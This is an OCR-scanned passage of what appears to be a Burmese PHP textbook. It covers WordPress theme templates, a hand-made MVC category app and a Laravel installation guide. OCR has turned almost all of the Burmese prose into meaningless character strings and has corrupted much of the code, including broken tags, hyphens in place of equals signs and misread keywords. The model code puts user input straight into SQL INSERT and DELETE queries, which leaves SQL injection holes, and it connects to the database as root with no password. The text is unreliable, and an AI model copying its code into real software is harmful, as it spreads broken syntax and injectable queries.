header.php - Document Type e(ox(co(s6:: <head> Element co95256:(86:0»es og: p 
e e e c eooc ° ç e ` ç e e e ° 
0209 go oloéqeo? eslé:6:36: Content qp:020095256:000:$0? Template ooës[8ëoloooSi olo$ecoq 


o? 9600 aeg c9 (s$&60looo5 - 


<!doctype html» 

<item 

<head> 
<title><?php wp_title(); ?></title> 
ink reli" sirylesheen hrer—"<?php bloginfo Ystyleshect uni) 
<?php wp_head(); ?> 

</head> 

<body> 





footer.php - </body> </html> §s{g90:805e0:8c$03 Element eogoloéo3 Template or69{86 ol 

IN : : x9 ç OC s IN IN CN IN IN ç 9 
00591 Copyright Information 0308 92qJ0350096:$,e30203e(8920lo625€03 seqjo$ecoo?eopcop3: 3 
Template odgo coa$a96:000:860los051 vloe iAH saco! - 


<?php wp footer(); ?> 
«/body» 
«/html» 


sidebar.php - WordPress Website 0694, Sidebar o5go Search Box, Category List, Calendar, 
Tag Cloud oo) Widget cogcooboə2C:oso5eo58Colooo5i Appearance > Widgets 0063 copjazc:60: 
oloooSi 33308 Widget Sidebar 320205 Template Structure 003903000:80):90l00051 eq:000:e $ 
030600 səəco[eóoloooŠ - 


<div class="sidebar"> 
<?php dynamic sidebar ('primary'); ?> 
</div> 


Sal: dynamic sidebar() Function meg cs[oosəo3:[0o|&CG3oooo functions.php Edp 
Sidebar o9 329022 Register cpScos:60:q 0102051 
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Sargs = array ( 








Vise => 'primary', 
'description' => 'Main Widget Area', 
Dess => 'sidebar', 

Meios mides => cll 

‘after widget' => '</li>', 

"before title' => '<h2>', 

‘after title’ => EMMY ya 


register sidebar( Sargs ); 


$§05:8, WordPress Theme 029990 02990009002 Sidebar cooo o[oo[cosoo5: [0,0% olor 
comments.php - Comment gqp:o2eeo|[9çco:o> Template Structure c2osoəo5coo:8ColoooŠ!I 
9003886 ep Post o$00705 Page Template qp:oógo comments template () Function a:f: 8 
Template o? gjo5s005 copdagc: ¿colon 


single .php - Post 0»9909e53(202326l a22: (9900) Template Structure 9905905895:0los051 
page . php - Page 03605{G03s001 300): [o| seo Template Structure 220590583225:(9|qolo»o5i 


archive.php - Post 390:09:08 (2329 qo2200705d Category 200 (93960905) @q:000:0) Author 
amo. qu9[0305gqo3s00! seo»:[o|qeo? Template Structure ooobəo5coo:8ColoooŠi 


search.php - Search Result eya! Qoo Template Structure 0003903000:$60 ovos 


functions.php - Template cogmeg gqloosəo5: [o coo PHP Function cooo So5go 9903:6$:220: 
coo: ¿colon 


404.php - Link gae Revo Post demos Page egqososl 200-9900) Template Structure 
9005905 coo:àColoooŠiI 


Category Based Home Page Layout 

NAF 0R|$ 07503 Setup 096000703 WordPress Website à, Home Page go Post cogo: Ò eo5(p 

consul co03602 9o Post cooo 338.08 Blog 96oo$:8e(00 Category 2200 Layout 39694 esop 

qjo00: e03s8 q6 cop3: qrooo: ¿colon index.php 9o 6$: 200:02 Template Structure 02000 RE 
.Q.9 c ;| C e e ` ° IN jl 

co: 3200loooÀI Q (20-0) peo 002:03§@§9 Layout Bla3080 I 
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brand name 


Bees) || ser sesi RS [P295 


tagline 





post[cat=hero] 





post[cat=feature] post[cat=feature] post[cat=feature] Ps 








œ (50-92) WordPress Category Based Layout 


e o e ° [e] e e ` Ç `x 
Home Page go Post (ç) əcoeo[ocooloooŠ!i Category o? Hero o» 250290500o:0? Post 02698 
Category o? Feature 089905905000:03 Post (2) 9! 9960l6: (g) geofoni Hero š Feature RÀ, 
coeo[ooeoo (e20lo: v Hero o? 90(03:[08:603 9002: (8: Feature 60203602) 620:86:022e99(900o:0] 
ooo Style meo CSS ¿$000 2905g03860los051 Template Structure mov CSS œ Select as 

° e COC x ÇO o ° o oo e e. 

ox(8: Style 2209905&C09 Structure gaonv Sq Layout «90320905 eq: Qeu index.php 
° o ° IN 
¿999399 55900] - 


<?php get header(); ?> 


«div class="contents"> 
<?php query posts('showposts-l&cat-l&offset-0'); ?> 
<?php while (have posts()) : the post(); ?» 
«div class-"hero"» 
Xh2 class-"hero-title"» 
<a href="<?php the permalink() ?>"><?php the title(); ?></a> 
umo 


<div class="hero-entry"> 
<?php the_content(); ?> 
</div> 
</div> 
<?php endwhile; ?> 


<?php Sft = new WP Query(); $ft-»query('showposts-3&cat-2&offset-0'); ?> 
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<?php while ($ft->have posts()) : $ft->the post(); ?> 
<div class="feature"> 
<h2 class="feature-title"> 
<a href-"«?php the permalink () ?>"> 
<?php the title() ?> 
</a> 
</n2> 





<div class="festure-entry"> 
<?php the content () ?> 
</div> 
</div> 
<?php endwhile; ?> 


<div class="sidebar"> 
<?php get_sidebar ("one") ?> 
<?php get_sidebar ("two") ?> 
</div> 


</div> 


<?php get_footer() ?> 


ocoecoo[o2Əeo query_post () Function one: cat-1 (Category ID One) odo Post o? s309050] 
0001 $0905 q02602326$320209000299 00p9:0li qT class=hero 2205905000:0 <div> à qo» 
` ` e e ° e e IN IN ` o ee 
000:02 Post e seqjo932co0960509 co9$09€:c00:dlosu5i aleja CSS š .hero o Select coó[6: 
Style 03 ag§eorS o2c9q|60296 200590586030: gol ssooSoobsoCsəesš WP Query () Function o 
2 [° ` ° ° x IN IN ° ` ° 
o>: Š: cat=2 (Category ID Two) oda Post 95:903a9309050]00051 ago o? Post cogo? 
Q IN c ` , S IN e <ç ° C s 
class-feature c9050$909000:0) <div> Element qp:&oop?opé: 60:000:0looo9u Sso5:š 
WordPress Website cog Home Page o? CSS §c0lé:05a00 Layout aaj: Îl: lepes $03: 
O e 


39002099990: e3222 609{0[86:[gdoloo05u ccocooslə Developer qp:3265& 000632806 90 Theme 
cog 02030960409:80009 Admin Dashboard eooloóo? Option 602036 ae(00932$3295:q|& 663206 so 
q$ecocoo o»Goloooóu Option 0299qJ6:02 399/$ 60: eco coo8 c9 ooooli aoo»: [o] 06020? Sepp 
a: gi: Lesh eepos: SoA ie qoudss8é:e03(Gbc020l[8_a960200262:36:603 
6050360020 masa nava: (solo eefi 0203026099 (029909039 [86 603590? 
3986:603(96c000]81 


soo? coo3(8: wordpress.org oo Theme Directory à Plugin Directory RS egesoo9(9: Popular 
22903): Theme cog Plugin 0209 $c066320606:226000:25€0looo5i Scone WordPress à 929603 

e Oo IN ° e Oo c IN > " Cn O c IN o X 
ÖVA RC DICO 220030909963 [md s [eë Apson eno 
so [ecap:eo[lecoo5[6: 3050923868000 cogo eol anos! o903e0l cooo? 36800008 3260006 


coco O COC Ç aG 


3200036038 60 0202060$09:9 qp:& 32056864 0206090? c016:003295:q|q900] 1 
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Conclusion 

mega] Content 605(G@39090:60:03 Website qp: 0293630003032 0205 CMS 0299902625:0 
RSP 3003020: eepos qi aA eF N edepol | 20qp:4602029909:(82:0? 
Website 009[99:08 Front-End 390305 Template Design 026009 aas qe 3909985203 0903669; 
902:9g0011 Sleoeo$ Content $6906: (S905 Back-End 3202096009 CMS gp:ore0:03 coÓesoocajo5 
q: 9098 asolo CMS 60303 Developer eolé:qp:gom &9c0l6:qp:go c2səÓa|o5coo 
Lagos: saqo:GE soc[ec:coo[oIicoócoo[ooo>soooo5 aora [Gaddenrré:g§03 04902990? 
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orpSes00058050 e039032q|3200:609 086:8095:000:303 categories Table ðo Record copo? 
e M iN c ec o eo N ç ° ` M 
cuyo acson gN MVC Qo à[8o:es:ooo:oleoSi o00080:3268$ htdocs Folder 009) mvc 
ç x c ç c ç oc . ` ç ç 
320094 Folder 006969000560: ol mvc Folder 3209€:90 632203032026: File Š Folder G02000299C: 
Go:0l - 


mvc/ 
-- models/ 
|-- category.php 
-- views/ 
|-- category/ 
| |--list.php 
| | --new.php 
-- controllers/ 
|-- category.php 
-- index.php 
== mvc.php 
-- .htaccess 





Code 60902 coÓesoocajo5səcooo models, views, controllers eo) Folder qp als»: 


alsa (8: 086: iu plongo Folder eee :loo05 Folder sasogs0g [g6c0003 
390305 DSN qp Script 029909qopc9qé URL a, səsoCec[o[eoacoloooSi 3] e(o2o e 
Apache 4, URL Rewrite 3209320909 qop(8: URL Structure o? (G\(GSeo: aolo ale (025 é 
«htaccess File ògo co:coo:o> URL Rewrite Rule cogo} B 0009296:60:0]i 
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RewriteEngine On 
RewriteBase /mvc/ 


RewriteRule ^(\w+)/(\w+)/(\w+)/?$ mvc.php?controller-$1&action-$2&id-$3 [L,QSA] 
RewriteRule ^(WNwt)/(Nw*)/?$ mvc.php?controller=$lsaction=$2 [L,QSA] 
RewriteRule “(\wt)/?$ mvc.php?controller-$1 [L,QSA] 

RewriteRule . mvc.php?controller=category [L,QSA] 





` ° c ° ° c e 
Rule COM 3090000090) $930000:(8: qe: (osozolecón 
H RewriteRule *(\wt) /(\wt)/?$ mvc.php?controller=$léaction=$2 


(\wt) Qga8gloSoo ([a-zA-20-9_]+) cSeq:ooo:0$05[eé:§o20lo205 Word Character aĝo) 


s8glo5 ol a mes z 3908 o:a: epea: oloC8ColoooSi 0 meş 9 08 oocnš:ceoocoe5: 
o 
oloc&coloooSi Underscore copd:cloé8évlosuS səc[əšsəo:[əç English Word ordqggovloé§éo3 


Character 30:09: vloé&é02058803 veol 338 Word Block $6903 Rewrite URL o [94 
390): [Bicoo:oloooŠi 


slefoxg - http://localhost/mvc/book/list/ c900p9296:3€/6 3 Rule oo URL c? - 
http://localhost/mvce/mvc.php?controller=book&action=list - -Əc[ooC:coco:opo:oo[eóoloooši 


0g|§e075038, MVC Structure 320209 controller, action § id ado) Request Value eog cloé 
éso sy: (aye) URL Pattern oo http://localhost/mve/[controller]/[action]/[id] (dol 
IN c e . So, e IN c IN 

ooo! controller Block meo eole(séolu $ action § id Meo eoleécopó:(s$0lo»o5u 

Q CN Q + C Q Š . > IN IN . ° x e 
00 Value copo? 09$s0ec Query String 326$80003996:60:€g00li Query String ecocosoó 905 
agudo URL óé(s$eso»6 URL Rewrite à Liss: [ešoloooSi Rule eo205026$00989:02$9 
ron) 3260| 922202 Q03000:0) Rule cojones controller 02§8:03 category co Default 
326$$0009996:60:0 2003903000:0000]i 


e ere o e e | 
non: mvc.php 9? 329C900p299C:GO:O0 II 
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<?php 
# Render view function 
function render( $template, $data = array() ) { 





$controller = $ GET['controller']; 











$view file = "views/${controller}/${template}.php"; 
if (file exists( $view file ) and !is dir( $view file )) { 
$view = $view file; 


include ("index.php"); 


) else ( 
exit("View not found -> $view file"); 


) 


# Setting URL Varaibles 

$controller = $ GET['controller']; 

$action = isset($ GET['action']) ? $ GET['action'] : ""; 
$id = isset($ GET['id']) ? $ GET['id'] : ""; 

















# Loading model 
$model file = "models/${controller}.php"; 





if(file exists( $model file ) and !is dir( $model file )) { 
include( $model file ); 


) eise ( 
exit("Model not found -» $model file"); 
} 


# Loading controller 
$controller file = "controllers/$[controller].php"; 


if (file exists( $controller file ) and !is dir(S$controller file)) { 
include( $controller file ); 


Pelsen 
exit("Controller not found -> $controller file"); 


} 
?» 


° ç x . . O O O Ç ç e c ` ec O e 
mvc .php mM a3200) View, Model, Controller File 09309 $|058005000299€:60:02 320009090 GO: 
M . € ç M ` ° c o . Os e ç 
o> Script [ešoloooŠi .htaccess 00800 Request 320:09:320200 3 Script 0»06e$p0250006320C 
0003903000: (8:22o:0lu 03:30: [96 09|$600502 MVC Structure e, 2280) Driver 0269[gd0lo0051 


° : ç > : ç 98 i € o x 
omex: View ce[oco: o> render () Function Gey 220:000:0loo 03i 3 Function o» coocoo) 
View Template 32ep30260:q6 Asma Include 99033209002 co9co:2go:eo(s90lo» ou URL 9o 
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oloCcooo> Controller o305:(8: $view Variable òo} eo3(0seo? View Template Path ao(op306 

IN e ç ° n ° c Q ere e IN ` 
oop9996:60:0 con (8:60099 index.php o? Include apdc$o5[eé:(Gdoloo05i index.php òp 
$view Variable 059350) View Template ooo: |e: oS eeoa: phedol 





Bad u n Sview file = "views/${controller}/$S{view}.php"; cOcg:o5o:ooo:o5 Statement eo 
9 al = Ë S ° 1 
Variable 60203 $ ( . . . ) Q686«:020:000:0020? eog, RES 329$6009 BShoog:d - 

Sview_file = "views/Scontroller/Sview.php"; 


- Y egaa: ga manon oà mí Variable Semono ooc[oooC:sə[eo5səcooooc[o>oç ecocoo: 220 
É €: el e? S ik $ t sp E Ë : g L ? 


o? a»go:eoge[s$eol qesi Variable e020202$026:300p900o:[s6:(8$0lo»05 v 


IN c ` e o ° ° Q Q x : > 
$00300036q:200:000:0) Code 6020602) controller 39095033005:(6(8: s260) Model File à 
Controller File 0303 Include coóeo:(sé:(s$0lo»o9« Model š Controller e$ Error Message qp: 

° : ° C OQ c ° e o O s» OCO 
co:[8: Script o9 qog Request Value corp: VÀ: $controller, 
$action, $id oo) Variable qp:à 302560095996: 60:000:0le22:0009! s009c009(0: index.php 
Q2 c0:000:0? Code o? R: 0093256:60:0]i 


<!doctype html» 
«html» 
<head> 
<meta charset="utf-8"> 
<title>PHP M-V-C</title> 
<style> 
body { 
Font family, arial, 
background: #efefef; 
} 


-wrap { 
width: 600px; 
Margin: 20px auto; 
border: 4px solid #ddd; 
background: #fff; 

} 


loci = 
background: #efefef; 
margin: 0; padding: 8px; 
font-size: 21px; 


) 


h2 í 
font-size: 18px; 
Margin: 0) 0 TOpx O; 
padding: Or Ol Spx 0; 
border-bottom: lpx solid #ddd; 
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“EGO A 
[onis sec Spas 
Colon: #999; 
text-align: center; 
padding: 8px; 
border-top: 1px solid ddd; 
} 


-content { 
padding: 20px; 
} 
</style> 
</head> 
<body> 
<div class="wrap"> 
<hl>Book Category</h1> 


<div class="content"> 
<?php include ($view) ?> 
</div> 


<div class-"foot"»&copy; 2013</div> 
</div> 
</body> 
</html> 


index.php 0x2 View Wrapper səesàsəo3: [oleo Main Document [8éoloooŠi 8 Structure e» App 

` oc ç IN e e . > ° IN e 

e, Interface o26:900lo6 eo? ealé:o51 Copyright Statement oo? Element eog: eo: 0:992 
c ;| IN o < CO Q * : ° ç ° 40 ¢ IN jl 

(850 on q[o2500290902 CSS coo JavaScript cog cops: 3920q[05800960: q9oo!i! 8940906022 

File cog ovoga ĉeco CSS 0? index.php c5eoo Internal Style 3264 ooóəloəooÉ: 0009256: 

eq:000:60:000:0l0S t 


$view Variable o? Include c9dco2:02003 ooo9(golu View Template ooóəooeeo[ocoa|ëc9 
render () Function 9): 04030330911 render () Function o° a ELEN View Template Path o? 
$view Variable cog 39006 00p360: 000: 0 EO index.php 00m include ($view) 8.69000: 
esper View Template o? cop?o96:eo9[060:64 6290 (Se olo»o3u 


sonas: controllers/category.php 92 3290969:220:60:0]i 
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<?php 
switch ($action) { 
case ""; 
case "Ust. 
show list(); 
break; 
case "new": 
show new(); 
break; 
case "add": 
add cat(); 
break; 
case "del": 
rm cat(Sid); 
default: 
exit("Unknown action -» Saction"); 


) 


function show_list() { 
$cats = get_cats(); 
render ("list", $cats); 


) 


function show_new() { 
render ("new") ; 


} 


function add_cat() { 
Sname = $ POST['name']; 
$result = insert cat($name); 


header ("location: http://localhost/mvc/category/list/") ; 
} 


function rm_cat(Sid) { 
$result = del cat ($id); 


header ("location: http://localhost/mvc/category/list/") ; 
} 


2> 


$action Variable cgo URL Action oo$@:9esee@ mvc.php 920005g03000;(8: [sólos al 
c[cooç 338 Variable o? switch() Statement à Sos: 000 Action LS 9005 Function o? 32090 
aqe wosp: ss: fesols oas: Controller o»$94,022o$(890? Request eol 
gorp5(8: apdqeus səcoóo2s0:[8o5 co:coo:[eé:[sëoloooSi som Request o» mvc/category/ 
list/ 28.6 Action o» list (8903320205 show list() Function o? 3209609060:290:900li 
show list() Function oo [om:3000=0c0l1 ooéooo5ScoOgeoosəcoóoo Model e2250$905000:05 

= : Es ace bd aa d qn 2 
get_cats () Function od¢ogegor oli 


show list() Function o» get cats () Function o? es[ooeo: [Š:i q$cooo? Category 029 6:03605 
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[psg render () Function o? somos (9000: olo» o5 1 səob:[o|qeo View Template səc$š 
list 020005256: co:coo:[Š: Data eş get cats 0 oo [94e60:00003 Category oo 6:03 0009296: 
eo:c9oSolo»oóu 


Model o» get. cats () səolsəoC so [eo:esooC g03303602220990902326$$ model/category.php 
y 39909693990 60:0] 
<?php 


$conn = mysqli connect ("localhost", "root", ""); 
mysqli select db(Sconn, "store"); 


function get_cats() { 
global Sconn; 
$result = mysqli_query($conn, "SELECT * FROM categories"); 











Scats = array(); 
while ($row = mysqli fetch assoc($result)) { 
Scats[] = Srow; 


} 


return $cats; 


) 


function insert cat($name) { 
global Sconn; 
mysqli query ($conn, "INSERT INTO categories 
(name, created date, moditied date) 
VALUES ('$name', now(), now())" 
); 











return mysql_insert_id(); 


} 


function del cat (Sid) í 
global $conn; 
mysqli query($conn, "DELETE FROM categories WHERE id = $id"); 























return mysql affected rows (); 


) 
?> 


Model coëə[8ëooošsəəŠ Request/Respond 6038 eo?[0se0290660209 22099036000:0lop:! c93200) 

3910330000308 Table o50»qo» ($6: 0099296:[86:1 005qj09[86:0209200 es006g0360:0? Script ooóə 
c IN 

[ešoloooŠi 


sonas: view/category/list.php o 3290968:220:60:0]i 
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<B- List- /nN2> 
<ul 
<? foreach ($data as $cat): ?> 
<li> 
[ <a href="http://localhost/mvc/category/del/<?= Scat['id'] ?>">del</a> ] 
<strong><?= $cat['name'] ?></strong> 
ey 
<? endforeach; ?> 
</ul> 


lone 
<a href="http://localhost/mvc/category/new/">New Category</a> 





View Template 020922092209(89000$3209 Request/Respond 6024 398 3907509560303 62205 
e : ° ° ° x° : M co o C Ooo e `A 
2oolor: 1 $data Variable alos: 323 Variable 05000040:6090? o»o$c996ec3(0qec58 
0003903000: olosi 32968 http://localhost/category/list/ ca Request coo [293 as index.php 009) 
8 View Template o9 cop3296:eo3(029^:9»[8902320209 ó (09-9) [booo:oocoeoo[ecqooo[ešoloooši 


< "a PHP M-V-C - Mozilla Firefox 


| E] PHP M-v-c s 
4 localhost/mvc/category/list/ e + ]g---.-8- 
Book Category 
List 


e [del ] Programming 

e [del] Internet 

e [del ] Interface Design 
e [del | Web Standards 

e [del ] System Design 

e [del ] Networking 

e [del ] General 


New Category 





9 (99-8) category/list/ Result 


Ó (99-8) à, Browser URL eaan aoli mvc/category/list/ ssogo$qco$09eo3[pes (86:(59 
oloooów Delete 320909 asoa ses aA: 00059033(8:(9608 o6:006(a9058Eolos05u 
oco c 


del Link o? goq mvc/category/del/ [id] 32684 Request c9960:290:9o0li slefox¢ 
Controller o» del Action 320209 9905905000203 sesona} es006g0960:292:900li 
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Category 3s209qp:cop?op6:$6Q320909 esoo$c00 View Template 0007 sooo copsogé:0l8: 
901 view/category/new.php 9 329096q220:60:0] - 





<h2>New</h2> 

«form action-"http://localhost/mvc/category/add/" method="post"> 
<input type="text" name -"name" placeholder="Category name"» 
<input type="submit" value="Add"> 

</form> 

sr 


<a href="http://localhost/mvc/category/list/">Category List</a> 


View Template oo$e(s6000$3s99 oocoo5:oeeo[boeecoo Template 66035 a005g05c00:0l00051 
Form action o? 003000: [(mplol mvc/category/add/ 03 2209909000:0lo»o3i alejo 8 Form 
0260:002 Request o? Controller oo add Action soesà $660:950:9o0li add Action 390305 
add_cat () Function Beso goss 9905905000:0los05 i add cat() Function o» Model à 
insert cat() Function o? o»so€csl o»eo:(8: Form 0260:0c0002 Data o? categories Table có 
ç ç ç c c c e 
Q0 OPW: CO: CO g2[gdoloo05n 06:096(a3090l 
M M Qc o o c c o o ç j| IN e 

@q:000:000:0) Code co, omogo feag: esooc Code coo 3203099:02069!05 [o$ ecocoo 


(0399 eoq|Golooou 


Edit co96soo6 910303 893092 0099996:60:6000:0lop: i 0205096009329: (major olor. 000930: 
view/category/list.php qo Edit Link copse0:qoleodu view/category/ 0990 edit.php 
o ç c ç ç : IN : e e e e 
(9960905 $0903) 320094 Edit Form 320902 View Template 0209 Meam qoos 
controllers/category.php 9o edit à update Action ¿09320205 c99680068036022209905 
eo:qoleoou sonas: models/category.php 99 categories Table o? Update coÓco:o) 


asce: [8e5ooseo:qeo[eëoloooSi (3):oo:00p50R6: [oseoj soon 


@ ç > ° c c ` ° c c OC x c ° OC OC 
39p9:3 Model 05256250! View Template 092520250 (82:6$:220:$602 Pattern 00690) MWN 
opes uolos ze c0390o0q6: O$686020906s006q| 


00)/ 


oS ooóó(809909c9q6 Book 

Controller, Book Model à Book View qp:o? Category à ecspoo5:[eo: MVC mo (so coóó 
opsi: Rie (8$0lo»o3i ale(o206 seasgan: Model 256256 View 22052»03(8$6$60 
IN 


90081 Category à Book 980} 23:(82:090c$:3qp:000cop9:02059 


On 


MVC 00984 ooo5gesëcooo[eó 
cloos 
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Conclusion 

eso Calas niece e os: "MVC $68 309; coo? 039 eons Esa096gSay0: 3600!0005" 
co GOR: 360006: 26093 pce s o o: :0)30Q]$Q saq nS oi qon NAL. 
App eiaeia pop aq (p: eco! nun DONES š[so: ooo: 03390205 
coÓesoocajoo 009 codcops8choos036: 2005886 3086: 200 OB: 91030: $6032202030(8: 


səsocc[OcecloooSi 


eoo < gy QO * co c ° n < € ° 

SREZ segona, qoo (868503coo0(8u 39602,39[03|00 DC 2303009 o99eopolu 

AGAR, Project ecoço 09:00300):[0/(86:200: [98 MVC c2 Architecture Pattern cooq)səoq|l: oo 86: 
€ 


(es coogo(se(226: eA L goons 


Professional Web Developer Course 
gjo] səc[o2oC:sospap:o0 veo 
DPen 080803E wipeo 
soadogadag - (og) Jay GJE 200 
www.fairway.com.mm 
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3294: (o J) MVC with Laravel 


Laravel PHP Framework 39053(016 


(6:303s90§:99 MVC aee[o226:02e63(03(8: Code eog MVC $6 eqz g Ras: eo 

coo Seg 629260? Laravel PHP Framework o? 3905;(0)(8: MVC ¿6 eg 0007503 somos 

ogo:eo [edol Soni eooCogk:ooo:oóeo Laravel ooo c93eqp:9090600:90? A Ae 

Framework 258 o»89o2o[s$ eoe o! 329$|$ 906002 cQ99:32qp:s9: PHP Framework 0505020009 

c ARME ç 8 oc Ça co ` ` c 

(S9 coo3(8(890lo»o5 Sonea: eS] 64005s0:09059000:0? Version meon Laravel 5.3 (gsol 
€ 

020ÀII 


Laravel ooo 094, 220q6q6:co6:(8: à905:0949030? Code efg səcəšocoo[Š:i Laravel o? aqp: 
IN IN IN o e IN IN x° 0 C S.S ° (e. >» C. c ` CN 
$no qes: səƏoosəc[o2oC: e|C:oocoe5:I 3930) 0909 :0c:(8: ào09:9 og0n0? Code e(o2260 
c | IN : o IN o ç Oo Ce ° x c 
(S90 ooo PHP ooo Language Design oc: 322:9: geog AnS e064$6ecoQ02 Language 0209 
c | e coc : IN ç Oo e. o 
(S90 om 329680050€:906009! PHP oo Language Design 320:$09:000509 (286 qÓ Laravel o» 


(o299(8:e e(poolc? adqecoooses906 229, 9460302099900 $(o(s9coo30lo»o5u 


Laravel à ae[so: co:[go:32o5:oCo> 3040960200609! e$00596: PHP Version coge oloóoooo) 
Namespace, Anonymous Function, PHP Development Server oo? cpdes0r6qja5e0208 Bea 
G3ooC3oob:ajcoo: [8:1 Composer esto? 30qp:s00mo) Package Management 0460009 S29»:8| 
con: [a6:1 Database VEP 090c$:602 05507] c90509600320205 Eloquent esto? ORM (Object 
: : IN o ° e Q ` : IN o 
Relational Mapping) $95:0p200? səob:ajooo: [e 6:1 Blade co calos Template Engine 02090) 
o e . . c c IN eme . IN IN 
3905;(G,000:(6:1 Authentication 0§6 ordelooas: oloc[ac:1 Development Environment ooo5esooo 
god IN o IN o > : : : IN ç 9 
pê: Deployment coo5ooee@səooo5 Homestead co calod Virtualization aef] $Q9:0poo 0405: 
co:con:(ac:1 ofeg o0:[90:qnócole:qp:go cloévlosoSu Saoc(0206: 32€:320:0):096009 Sesqpeo 
eros e e o ° ° e Oo oc SOLAR 
eoS(p$6eo eop030log: v 3esepgo Laravel oo səoà:[o|[9: MVC Code co nac: ¿conan 
oc, O0 e c jl IN c ce > eme c c o c 
3206:09200 coeo[oco:opoo:eo[eóo MI 00266C0000290009:3268 4 qjo3(86:32c90 (89608320505 
Q CN oc ° IN c ° e IN ° oc oc IN IN oc o 
c332002320€:6090? eg:opo?eoS(o(8: O3|$499:092260909?6009 0?05096 NACEN: ICC 
Sqp9go9(se:(s$olooo5i 
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12.1 - Installing Laravel 
Laravel Framework o? səo: [o IŠC@səooo5 PHP 5.6.4 §s90003$3 oSsadolos05 slefox2¢ PHP 7 39% 
E0095: səsocc[oc[o 3209009086 oloooSi PDO, Mbstring, Tokenizar oo? PHP Extension cooo 


System Requirement səcššà cosəOoloooŠiI sleoeoS XAMPP qo 38 Extension GORA ordsloops: 


oloc[8:000: (gdcloo05u 


Laravel o» Install 368320205 $05:008:9$0260%) Composer c9eslo5 PHP Package Manager me 
ii. OFRO $P 9š š p e? 2 g g Š 


c c c C `x c e co ç ç ` Ç x c 
ooësoç Install coo[s6:ó [ešoloooSi 3leoeoS Sepp Composer səc[oooc: 3203|02e3|3|C 02320205 
CO CX > AS. C. HOA 2, . IS ç RS IS c 
02058050 Download $0202499:008:020 səo>:[O|o2o:oo [ešoloooŠi slo» $99:006:9á e0505260609 
(esas: (es 3260204 096822 609320205 9cpoSolo»oóu 3960008 090905 8603 09:053293:[0|$ 602320205 
ç ç cC c ç ç c ç o ° c C x C Css 
(gSolos05u Composer meş Install Oqe 32600240 2300320900000) 20600602 (9584:& 
croc p oo ç e e Oc O o Cos ° ç ° ` ` Dn 
ooo [S Še aps: GRES səCooosooe[SSco 32007 Package Go2 OC 399033956028 (3,902.4 


eo [gdclos05u 


` ç < O CN 2,2 € oò oc c o IN oc 
Laravel 5.3 š soo5eó0c935009 Package 320:0$:09 $005:60:000:0? 06009090? e320050lc909290 


Download qop&éolo»o3i 


http://eimaung.com/pwd-rc/laravel-5.3-all.zip 


eo o36030lo6 cooo? CD A 390060095000: :c0:0loooSi Download 0268 29090323 
Qê CD a R: dal q$cooo? Zip Ecos (macia lazayel 20) 32020 


OO C. 


Directory 02990090 322909604 Directory cop olo$co20200? 602,990 (gSolos05u 


laravel 
r app 


Commands 
Http 

Services 
User.php 


ES ae een 
— bootstrap 
I— composer.phar 


— config 
app.php 
auth.php 


database.php 
session.php 
view.php 


database 
public 


= css 
index.php 
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resources 

L— views 

routes 

— api.php 

kk web. php 

server.php 

storage 

tests 

vendor 
autoload.php 
composer 
doctrine 
laravel 
monolog 
phpdocumentor 
phpspec 
phpunit 
swiftmailer 
symfony 


xO e o ° IN coc ce co oce e ° ` 
90lo38660932«8:qp:c9 ecop(8: Loon woseo (marinas 300059 ap:olcS88:eoSi mor 
laravel Directory o? XAMPP Document Root (htdocs) 63200990 coo: Š: Laravel Framework 
o 


o? ooa: [egaz sa006(96[8[gdvlor05 Web Browser eç[Š: localhost/laravel/public c» 
oop?ogé:(o2p9c903q6 səəc9 ec2.qeo(s$0lo»o5 


Œ localhost/larapack/ 


a O D localhost 





Laravel 


DOCUMENTATION LARACASTS NEWS FORGE GITHUB 








§ (o /-09) Laravel First Run 
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Laravel ooé 3209909065 Šsoo>oocooo (gSclos05 URL y public Directory o? 22$:000:0000% 


Coes 


aoko oli oq|$ @Cà Folder cozm App Source Code à c$32003 soo5eó Package coo[eó[9:i ego05a5: 


e oO à : ° IN IN e e o IN 
8307609 puts Directory MES gqqeo[ešoloooši 6, S00I 0929296 990301906 


o> 868 Directory 


<. 0 e e 1 IN 
c0232c[p256:09 za ccocooa|coloooŠ!i 





/app 


RO App 4, Source Code səqpjp:oooo 3 Directory DQ eq: 220: 





qeo(s$olo»o5i app 39026399 Console, Events, Http 00) 
° c e c o o e ` : 

efed seansach (0910266q:220:60:000:02 Directory 
)| IN ; IN IN IN IN ` ° 

Goo oloCocoo:ooodil oop$esooo?eo?. App e, Model Code copo? 

e > e e oc : exe 

3 Directory 3202€:9» wC Directory cop o0da(8: 

0099996: eqo: Solon 





/app/Http/Controllers 


MVC oo Controller à, 02008000 Requests/Responses coo $ó[s$ 
(S9e(226: cool: (gSolo051 Controller Code cooo 3 
Directory 0590 9003: 6:220: 92 (gdclos05 





/config 


IN oc e 


Framework Setting 60303 GEsaea5sa0305 3 Directory o5go 
9905: co:coo:0lo»oói 





/config/database.php 


3905;(G|0803 Database 309Q||:3900:1 Database 20091 Username, 
Password oo? Setting copo? p oo03go?oooi(sé: fedo 


gee en: IN 
NOA IOV (9680622039 





/config/auth.php 


Laravel § 3902 odlog: o36030lo6 coo0? Authentication 050 


So, ç x : o ooç x e... 5] ç 
Š 002220202 Setting cooo 3OCCO9D 9909909009: 0 ODOOII 








/public Static Resources e02(§603 CSS Gésoz1 JavaScript 866031 Font 
6034 Logo c2 Image cooo 8 Directory 099 pops: 0003403000: 
ae [sšoloooŠi 

/resources 


HTML Template, CoffeeScript, LESS, SASS oo? Pre- 
processor $99:0900609 33202 ozoda: (9| eo? Source Code 
60303 3 Directory cog qop: oqlov 





/resources/views 


View Template cooo Blade esT o) Template Engine o: 6: 
69000: 09390305 View Code 0205 3 Directory cog pops: 
eg: eo: olor ón 





/routes/web.php 








URI coóé:e[o256:609 Bd030n5c§:08 $9690 o205909q9 (590 
oooS Controller à 0360532090090 $60looo5! 

Co o c ç ` . ° e e s O 
unas ma Controller $ Action O? BAQVOAPOGO: 4/005 AO 
ç 


3 
E» 
E 
Z 
8, 30 


coƏ:e[o2oC: cooo D00390360:990 [eŠoloooSi 
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/database SQLite c2 Standard Alone Database 966098 Database Structure 

e e ` : : oc oe : S e 
e(o2(£22205905000:0 Migration geo 3 Directory à pops: 
coo: qolo»oóu 





/storage Framework oo Generate ÓN Mo) Session Data G6 6opi Cache 
oc ` oc o e : > oc jl IN | IN 
6cco94 Log ceog 3 Directory oóoo o5@:olooo3#I 3 eloyos 
Linux System PRE 8 Directory o? Write Permission 9$ 
63206 GO:000: 8 c932090 (S$olo»o5u 





/vendor Laravel Source Code à Package Q6609320:05:09 8 Directory ó 


qa 009260000290 (S90lo»o5u 





